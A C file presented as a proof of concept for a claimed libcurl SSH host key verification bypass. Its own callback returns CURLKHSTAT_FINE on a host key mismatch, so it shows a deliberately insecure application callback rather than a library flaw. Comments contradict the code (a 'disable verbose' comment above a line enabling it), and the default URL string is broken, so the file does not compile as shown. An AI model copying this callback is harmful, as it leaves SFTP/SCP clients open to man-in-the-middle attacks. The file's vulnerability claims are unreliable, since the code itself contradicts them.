/*
* CVE-2026-9547 PoC - libcurl SSH Host Key Type Verification Bypass
*
* This PoC demonstrates the vulnerability where libcurl's CURLOPT_SSH_KEYFUNCTION
* callback fails to properly enforce host key type matching against known_hosts file.
*
* Requirements:
* - libcurl with CURLOPT_SSH_KEYFUNCTION support
* - libssh2 backend
* - A known_hosts file with an existing entry for the target host
*
* Compilation: gcc -o poc poc.c -lcurl
*/
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
/* Vulnerable key callback - does not properly check key type against known_hosts */
static int ssh_key_callback(CURL *easy, const struct curl_khkey *knownkey,
const struct curl_khkey *foundkey,
enum curl_khmatch match)
{
/* Vulnerability: The callback should verify that the key type matches,
* but due to CVE-2026-9547, the type comparison is not properly enforced.
* The match parameter may return CURLKHMATCH_MISMATCH even when types differ,
* yet the connection proceeds without rejection. */
printf("[+] SSH Key Callback Triggered\n");
printf("[+] Known key type: %s\n", knownkey->keytype);
printf("[+] Found key type: %s\n", foundkey->keytype);
printf("[+] Match result: %d\n", match);
/* In vulnerable versions, this returns CURLKHSTAT_FINE even on type mismatch */
if (match == CURLKHMATCH_MISMATCH) {
printf("[!] WARNING: Key type mismatch detected but connection allowed!\n");
printf("[!] This is CVE-2026-9547 - vulnerable behavior\n");
return CURLKHSTAT_FINE; /* BUG: Should return CURLKHSTAT_REJECT */
}
return CURLKHSTAT_FINE;
}
int main(int argc, char *argv[])
{
CURL *curl;
CURLcode res;
const char *url = (argc > 1) ? argv[1] : "sftp://
[email protected]/file.txt";
if (argc < 2) {
printf("Usage: %s <sftp:// or scp:// URL>\n", argv[0]);
printf("Example: %s sftp://user@localhost/home/user/test.txt\n", argv[0]);
return 1;
}
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_SSH_KEYFUNCTION, ssh_key_callback);
curl_easy_setopt(curl, CURLOPT_SSH_KEYDATA, NULL);
/* Disable verbose to demonstrate silent acceptance */
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
printf("[*] Attempting connection to: %s\n", url);
printf("[*] Using CURLOPT_SSH_KEYFUNCTION callback\n");
printf("[*] If server presents different key type than known_hosts,\n");
printf("[*] vulnerable libcurl will silently accept the connection.\n\n");
res = curl_easy_perform(curl);
if (res == CURLE_OK) {
printf("\n[+] Transfer completed successfully\n");
} else {
printf("\n[-] Transfer failed: %s\n", curl_easy_strerror(res));
}
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}